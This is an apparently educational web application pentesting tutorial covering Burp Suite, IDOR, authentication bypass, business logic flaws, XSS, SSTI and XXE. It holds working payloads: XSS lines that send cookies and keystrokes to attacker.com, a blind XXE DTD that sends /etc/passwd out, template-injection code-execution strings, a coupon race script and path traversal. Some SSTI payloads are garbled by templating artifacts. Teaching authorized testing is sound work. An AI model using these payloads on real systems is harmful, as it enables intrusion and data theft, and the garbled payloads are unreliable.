Web Application Pentesting — Manual Testing Methodology
Burp Suite as your proxy, systematic OWASP Top 10 manual testing, authentication bypass, IDOR, business logic vulnerabilities, and the techniques automated scanners consistently miss.
Automated web application scanners (ZAP, Nikto, Burp Scanner) find pattern-matching vulnerabilities: known XSS payloads, detectable SQL injection, common misconfigurations. They consistently miss business logic vulnerabilities — the flaws that arise from how an application is supposed to work, not from broken code patterns.
Can a user buy a product with a negative quantity and receive a refund? Can they access another user's invoice by incrementing an ID? Can they skip Step 3 of a multi-step checkout process by POSTing directly to the completion endpoint? No scanner tests for these because no scanner understands the application's intent. That is where manual testing earns its day rate.
Burp Suite — Your Primary Web Testing Proxy
Burp Suite is the industry-standard web application testing platform. The Community edition is free and sufficient for most manual testing; the Professional edition ($449/year) adds the automated scanner, Collaborator server, and advanced fuzzing tools. Every professional web pentester uses Burp as their primary tool.
Burp Suite core workflow:
1. CONFIGURE BROWSER PROXY
Burp Proxy → Options → 127.0.0.1:8080
Install Burp's CA certificate in browser (allows TLS interception)
Firefox: Preferences → Network Settings → Manual proxy → 127.0.0.1:8080
2. PROXY TAB — intercept and inspect every request
- Forward: send request as-is
- Drop: discard the request
- Edit fields before forwarding: modify headers, parameters, body
- "Intercept is on/off": toggle to walk through the application normally first
3. HTTP HISTORY — review all requests made
- Filter by scope (right-click → Add to scope)
- Right-click any request → Send to Repeater / Intruder / Scanner
4. REPEATER — manually replay and modify requests
- Send a request, modify one parameter at a time
- Most important tab for manual testing
- Ctrl+Shift+R to send selected request to Repeater
5. INTRUDER — automated payload injection
- Select attack positions (§ markers)
- Attack types:
Sniper: one position, iterate through all payloads
Battering ram: all positions get same payload simultaneously
Pitchfork: parallel payload lists (usernames + passwords)
Cluster bomb: cartesian product (all combos)
- Payloads: wordlists, numbers (for IDOR), custom lists
- Community edition: throttled to 1 req/sec (Pro: unlimited)
6. TARGET → SITE MAP — full crawled structure
- See all discovered endpoints
- Right-click domains → "Spider this host"
- Issue filtering: shows vulnerability findings
7. DECODER — encode/decode any value
- URL, HTML, Base64, hex, gzip, Zlib
- Multi-layer decode: base64 → URL → HTML in sequence
8. COMPARER — diff two requests or responses
- Useful for identifying which change in a request caused different behaviour
9. EXTENSIONS — enhance capabilities
- Autorize: IDOR/BOLA testing automation
- Active Scan++ (Pro): extended scan checks
- JWT Editor: JWT attack tooling
- Param Miner: discover hidden parameters
- Retire.js: detect vulnerable JavaScript librariesSystematic Web Application Testing Methodology
Professional web application testing follows a structured checklist to ensure nothing is missed. The order matters: understand the application before attacking it.
Web Application Testing Methodology
PHASE 1: APPLICATION MAPPING (1–2 hours)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Browse the entire application with Burp intercept off
→ Understand what the app does, who the users are, what is valuable
□ Identify all input points: forms, URL params, headers, cookies, file uploads
□ Map all API endpoints (check JS files for undocumented endpoints)
□ Note authentication mechanism: session cookies? JWT? API keys?
□ Identify user roles: anonymous, user, admin, superadmin
□ Review client-side JavaScript for:
- Hidden parameters, undocumented endpoints
- API keys, tokens, internal URLs in source
- Client-side validation logic (often bypassed server-side)
PHASE 2: AUTHENTICATION TESTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Username enumeration: different error messages for valid/invalid users?
□ Password policy: minimum length, complexity, lockout threshold
□ Account lockout: does it lock after N failed attempts? Can it be bypassed?
□ Default credentials (admin:admin, test:test)
□ Password reset flow: predictable token? Token reuse? Email oracle?
□ "Remember me" token: is it persistent, secure, bound to device/IP?
□ Multi-factor authentication: can it be skipped by direct URL navigation?
□ OAuth/SSO: state parameter present? Redirect URI validation?
PHASE 3: AUTHORISATION TESTING (most impactful category)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ IDOR testing: replace IDs in requests with other users' IDs
□ Horizontal privilege escalation: can UserA access UserB's resources?
□ Vertical privilege escalation: can a user access admin functions?
□ Function-level access control: test all API endpoints as each role
□ HTTP method testing: does GET vs POST vs PUT change access control?
□ Mass assignment: can extra fields (role, isAdmin) be set in POST body?
PHASE 4: INJECTION TESTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ SQL injection: every parameter, headers, cookies
□ Command injection: parameters used in system calls
□ SSTI (Server-Side Template Injection): {{'{'}}{{'}'}} test in all params
□ SSRF: URL parameters, webhook URLs, import functions
□ XXE: XML input, upload parsers, SOAP endpoints
□ LDAP injection: login forms using LDAP
□ Header injection: Host, X-Forwarded-For, Referer, User-Agent
PHASE 5: BUSINESS LOGIC
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Workflow bypass: skip steps in multi-step processes
□ Price manipulation: negative quantities, zero prices, currency confusion
□ Race conditions: simultaneous requests to use a coupon twice
□ Replay attacks: can completed transactions be replayed?
□ Limit bypass: exceed rate limits, quantity limits, file size limits
PHASE 6: MISCELLANEOUS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ XSS: reflected, stored, DOM-based in all input fields
□ CSRF: are state-changing actions protected by CSRF tokens?
□ Clickjacking: X-Frame-Options or CSP frame-ancestors?
□ Security headers: CSP, HSTS, X-Content-Type-Options, Referrer-Policy
□ TLS: version, cipher suites, certificate validity
□ Sensitive data exposure: credentials in responses, verbose errorsIDOR — Insecure Direct Object Reference
IDOR is consistently one of the highest-paying bug bounty vulnerability classes and one of the most common findings in professional assessments. It occurs when an application uses user-supplied input to access objects (records, files, accounts) without verifying the requesting user is authorised to access that specific object.
# Classic IDOR — numeric ID in URL parameter
GET /api/invoices/1042 → my invoice (logged in as user 1042)
GET /api/invoices/1043 → another user's invoice (IDOR!)
GET /api/invoices/1 → first invoice ever created (admin?)
# Testing IDOR systematically with Burp Intruder:
# 1. Find a request with a numeric or predictable ID
# 2. Send to Intruder → mark the ID as a payload position
# 3. Payload type: Numbers (1 to 10000, step 1)
# 4. Add grep match: your own user's email or a unique field
# 5. Review 200 responses that do NOT contain your data → other users' data
# IDOR in path parameters:
GET /users/1042/profile
GET /documents/private/1042.pdf
# IDOR in POST body:
POST /api/transfer
{"from_account": 1042, "to_account": 9999, "amount": 500}
# Change from_account to another user's account → unauthorised transfer
# IDOR with GUIDs — UUIDs look unguessable but may be sequential or enumerable
GET /api/reports/550e8400-e29b-41d4-a716-446655440000
# Try: find GUIDs in other responses, HTML source, emails
# UUIDv1 encodes timestamp → can be enumerated
# Indirect IDOR — through associated objects
GET /api/orders/1042/items → returns items for order 1042
# If order 1042 belongs to another user → exposed through related object
# IDOR in file download:
GET /download?file=user_1042_export.csv
# Try: user_1043_export.csv, ../../../etc/passwd (also path traversal)
# Autorize extension — automated IDOR testing
# Install in Burp → configure with two sessions (admin and low-priv user)
# Autorize replays every request as the low-priv user and flags if response == 200
# Saves enormous time on large applicationsAuthentication Bypass Techniques
Authentication failures are the second most common category in professional assessments after authorisation issues. Testing goes beyond "try common passwords" — it systematically probes every aspect of the auth flow.
# Username enumeration — different responses for valid/invalid usernames
# Test with Burp Intruder against /login:
# Valid user: "Invalid password" (200 response, 823 bytes)
# Invalid user: "User not found" (200 response, 797 bytes)
# → Enumerate valid usernames by response length/message difference
# Password reset flow attacks:
# 1. Host header injection → hijack reset link
POST /reset-password
Host: attacker.com ← inject attacker's domain
Content-Type: application/json
{"email": "victim@target.com"}
# Vulnerable app sends: "Click here to reset: https://attacker.com/reset?token=xxx"
# 2. Predictable reset tokens
# Try requesting reset, inspecting token format:
# Token: 1714900000 → Unix timestamp? Try timestamp ± 5 seconds
# Token: abc123xyz → MD5 of email + timestamp? Generate possibilities
# Base64-decoded token: {"email":"user@corp.com","ts":1714900000}
# 3. Token reuse — can the same reset token be used twice?
# 4. Long-lived tokens — do tokens expire after use or time?
# 5. Email oracle — does the response differ for registered vs unknown email?
# MFA bypass:
# Direct endpoint navigation:
# POST /mfa-verify → skip entirely, navigate directly to /dashboard
# Does the application check MFA completion in session?
# MFA code brute force:
# 6-digit TOTP = 1,000,000 possibilities → try rate limiting
# Burp Intruder: payload type Numbers 000000–999999
# Check for lockout: does account lock after N wrong MFA attempts?
# Response manipulation — Burp Proxy:
# 1. Enter wrong MFA code
# 2. Intercept response
# 3. Change "success": false → "success": true (or 403 → 200)
# If frontend-only check: authenticated!
# JWT manipulation (covered in Module 19):
# - alg:none attack
# - Algorithm confusion RS256 → HS256
# - Weak secret brute force (john the ripper, hashcat)
# Session fixation:
# 1. Note session ID before login: PHPSESSID=abc123
# 2. Log in with credentials
# 3. Check if PHPSESSID is still abc123 after login
# If yes: set victim's session cookie to abc123 before they log in → you get their sessionBusiness Logic Vulnerabilities
Business logic flaws require understanding what the application is supposed to do, then finding ways to make it do something else. These are the vulnerabilities that make bug bounty hunters rich and that professional pentesters find on almost every engagement.
# ━━ PRICE AND QUANTITY MANIPULATION ━━━━━━━━━━━━━━━━━━━
# Can quantities be negative?
POST /api/cart/add
{"product_id": 123, "quantity": -1}
# If the checkout total is price * quantity: negative purchase = credit to account
# Can prices be tampered with in the request?
POST /api/checkout
{"items": [{"id": 123, "price": 0.01, "qty": 1}]}
# Vulnerable apps trust client-supplied price
# Integer overflow:
{"quantity": 2147483648} # INT_MAX + 1 → wraps to negative on some systems
# Currency manipulation:
{"amount": 10, "currency": "VND"} # Vietnamese dong → $0.00045
# ━━ WORKFLOW BYPASS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Multi-step checkout: Step 1 → Step 2 → Step 3 (payment) → Step 4 (confirm)
# Try POST /api/checkout/confirm without completing payment step
# Application may check only "did they start checkout?" not "did they pay?"
# Password change flow:
# Typical: enter current password → enter new password → confirm
# Bypass: POST /api/account/password without currentPassword field
# Does the app enforce current password check server-side?
# Free trial bypass:
# Trial endpoint: POST /api/trial/activate
# Check: does it verify account hasn't had a trial before?
# Try with freshly registered account vs. trial-expired account
# ━━ RACE CONDITIONS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Discount code single-use bypass:
# Send 50 simultaneous requests to apply the same coupon:
# Python:
import asyncio, aiohttp
async def apply_coupon(session, code):
return await session.post('/api/coupon', json={"code": code})
async def race():
async with aiohttp.ClientSession() as s:
tasks = [apply_coupon(s, "SAVE50") for _ in range(50)]
results = await asyncio.gather(*tasks)
asyncio.run(race())
# If not using DB transactions: multiple requests succeed before the "used" flag is set
# Burp Suite Turbo Intruder (Pro) — send requests in precise parallel timing
# Script: race_single_packet_attack.py in Turbo Intruder examples
# ━━ PARAMETER POLLUTION ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Duplicate parameters — different frameworks use different ones
GET /transfer?amount=100&to=alice&to=bob
# PHP: uses last (bob)
# Node.js: uses first (alice) or array
# ASP.NET: concatenates "alice,bob"
# Mass assignment — send extra fields
POST /api/users/register
{"username":"hacker","password":"pass","role":"admin","isVerified":true}
# Framework auto-maps request body to model — extra fields get setCross-Site Scripting (XSS) — Finding and Exploiting
XSS allows injecting JavaScript into a web page viewed by other users. The impact ranges from session hijacking (steal cookies → impersonate user) to keylogging, phishing overlays, and cryptocurrency mining. Modern browsers and frameworks have reduced XSS significantly, but it remains prevalent in legacy applications and custom JavaScript.
# XSS test payload — start here on every input field
<script>alert(1)</script>
# If blocked, try variations:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
';alert(1)//
`-alert(1)-`
<details open ontoggle=alert(1)>
# Context matters — where does your input land in the HTML?
# 1. HTML body context:
<div>YOUR INPUT HERE</div>
# Payload: <script>alert(1)</script> or <img src=x onerror=alert(1)>
# 2. Attribute context:
<input value="YOUR INPUT HERE">
# Payload: " onmouseover="alert(1) or "><img src=x onerror=alert(1)>
# 3. JavaScript string context:
<script>var x = "YOUR INPUT HERE";</script>
# Payload: "; alert(1); // or "; alert(1); //
# 4. JavaScript URL context:
<a href="javascript:YOUR INPUT HERE">
# Payload: alert(1)
# 5. DOM-based XSS — source and sink analysis:
# Source: location.hash, document.referrer, window.name, URLSearchParams
# Sink: document.write(), innerHTML, eval(), setTimeout(string), location.href
# Check JS files for: document.write(location.hash), innerHTML = url_param
# Impact escalation beyond alert(1):
# Session cookie theft (requires HttpOnly NOT set):
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
# Keylogger:
<script>document.addEventListener('keypress',e=>fetch('https://attacker.com/?k='+e.key))</script>
# XSS to account takeover via password change:
<script>
fetch('/api/account/password', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({newPassword: 'hacked123'})
})
</script>
# BeEF (Browser Exploitation Framework) — comprehensive XSS platform
# Hooks browsers, enables network scanning from victim, phishing, webcam accessStored XSS (payload is saved in the database and served to every user) is higher severity than reflected XSS (payload is in the URL, requires the victim to click a link). DOM-based XSS is often missed by automated scanners because the vulnerability lives in JavaScript execution, not server-generated HTML.
Server-Side Template Injection (SSTI)
SSTI occurs when user input is embedded directly into a server-side template without sanitisation. Template engines (Jinja2, Twig, Freemarker, Velocity) have powerful expression languages — when your input is evaluated as template code, you get remote code execution.
# Detection payload — trigger template evaluation:
{{'{'}}{7*7{'}'}}
# If rendered as "49" rather than "{{7*7}}" → SSTI confirmed
# Different frameworks:
{7*7{'}'} → 49 (Freemarker, Thymeleaf, Spring EL)
{{'{'}}{'{'}}7*7{'}'}{{'}'}} → 49 (Jinja2, Twig)
<%= 7*7 %> → 49 (ERB — Ruby)
#{'{'}7*7{'}'} → 49 (Smarty)
# Identify the template engine:
{{'{'}}{'{'}}7*'7'{{'}'}}{'}'}} → 49 (Jinja2)
{{'{'}}{'{'}}7*'7'{{'}'}}{'}'}} → 7777777 (Twig)
# Jinja2 RCE (Python):
{{'{'}}{'{'}} ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() {'}'}{{'}'}}
# More practical:
{{'{'}}{'{'}} request.application.__globals__.__builtins__.__import__('os').popen('id').read() {'}'}{{'}'}}
# Twig RCE (PHP):
{{'{'}}{'{'}} ''.__class__.__base__.__subclasses__() {'}'}{{'}'}} # list classes
{{'{'}}{7*7{'}'}} # math → 49
# Freemarker RCE (Java):
{"freemarker.template.utility.Execute"?new()("id"){'}'}
# Finding SSTI — test in:
# - Name fields (profile name in greeting: "Hello {{name}}")
# - Search fields
# - Error pages that reflect input
# - Template preview features (invoice templates, email templates)
# - URL path components if routed to templateXXE — XML External Entity Injection
XXE abuses XML parsers that process external entity declarations — allowing attackers to read local files, perform SSRF, and in some configurations achieve RCE.
# Basic XXE — read /etc/passwd <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> # XXE SSRF — fetch internal service <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <root><data>&xxe;</data></root> # Blind XXE — when response doesn't reflect entity content # Send data to your server via a parameter entity: <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> # evil.dtd hosted on attacker.com: <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % out "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> %out; %send; # Where to find XXE: # - XML-based APIs (Content-Type: application/xml) # - SOAP web services # - File upload parsers: .docx, .xlsx, .svg, .pdf parsers often vulnerable # (these are ZIP files containing XML — inject into the XML components) # - SVG image upload: <svg xmlns="http://www.w3.org/2000/svg"> <image href="file:///etc/passwd"/> </svg>
Security Headers — Quick Assessment
Missing or misconfigured security headers are informational/medium findings but they indicate a team not following security best practices. Always check them — they take five minutes to assess and consistently appear in reports.
# Check security headers with curl: curl -I https://target.com # Headers to verify: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload # Missing or max-age too short: HSTS bypass risk Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...' # Missing: XSS is easier to exploit (no mitigating controls) # Weak: script-src * or unsafe-inline present X-Content-Type-Options: nosniff # Missing: MIME-type sniffing attacks possible X-Frame-Options: DENY # Or CSP: frame-ancestors 'none' # Missing: clickjacking attacks possible Referrer-Policy: strict-origin-when-cross-origin # Missing: URL parameters leak to third-party sites via Referer header Permissions-Policy: camera=(), microphone=(), geolocation=() # Missing: embedded content can access browser APIs # Tool: SecurityHeaders.com — grade the headers for any domain # Tool: Mozilla Observatory — comprehensive header + TLS check
Interview Questions — Web Application Pentesting
Common Mistakes — Web Application Pentesting
🎯 Key Takeaways
- ✓Burp Suite is the indispensable web application testing proxy. Master the Repeater for manual testing, Intruder for automated payload injection, and the Proxy history for reviewing all requests.
- ✓IDOR is consistently one of the most impactful and common web vulnerabilities. Test by replacing object identifiers in requests with those belonging to other users — verify server-side authorisation, not just frontend control.
- ✓Business logic vulnerabilities require understanding application intent: negative quantities, workflow bypass, race conditions on single-use resources, and price manipulation are never found by automated scanners.
- ✓XSS impact depends on context: stored XSS affects all visitors, reflected XSS requires victim to click, DOM-based XSS exists entirely in client-side JavaScript. Escalate beyond alert(1) to demonstrate session hijacking.
- ✓SSTI is remote code execution on the server. Test with {{"{"}}{7*7{"}"}} — if it renders as 49, investigate the template engine and exploit path immediately.
- ✓XXE targets XML parsers — upload endpoints for .docx, .xlsx, and .svg files are frequently vulnerable even when direct XML input is locked down.
- ✓Authentication testing goes beyond password guessing: test the password reset flow, token predictability, MFA bypass via direct navigation, response manipulation, and session fixation.
- ✓Security header assessment takes five minutes and consistently produces findings. Check for HSTS, CSP, X-Content-Type-Options, X-Frame-Options, and Referrer-Policy.
- ✓Test as every user role: anonymous, regular user, premium user, administrator. Vertical privilege escalation (user accessing admin functions) is only found by testing as a low-privilege user.
- ✓Map the entire application before testing. Understand what it does, who the user types are, what is valuable — then systematically test each category rather than jumping to injection tests immediately.
Discussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.